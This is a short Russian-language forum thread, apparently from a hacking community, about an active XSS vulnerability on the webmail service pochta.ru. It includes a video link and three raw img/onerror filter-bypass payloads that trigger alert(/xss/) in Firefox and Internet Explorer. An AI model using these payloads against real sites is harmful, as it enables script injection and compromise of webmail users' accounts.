Активка на pochta.ru

[o3,14um]

Активная ксс на почта.ру
Снял коротенький видос, но на видео античата видимо он так и не попадёт
http://hungry.front.ru/Vid/xss_pochta.ru.rar

[Nightmarе]

Молодец!!!!!!!

[GreenBear]

Добавил.

[LeverOne]

Нет, товарищи, ведь это порнография!
Фильтр там всегда был никакой. Даже обычная база теста xss всегда давала результаты.

ФФ и IE

<img src=. /onErrOr ='alert(/xss/)'>
<img src=. /onErrOr="alert(/xss/)">


IE


<img src=. /onErrOr
=`alert(/xss/)`>


Это даже немодифицированное, сырое, так сказать. Без дальнейших комментариев.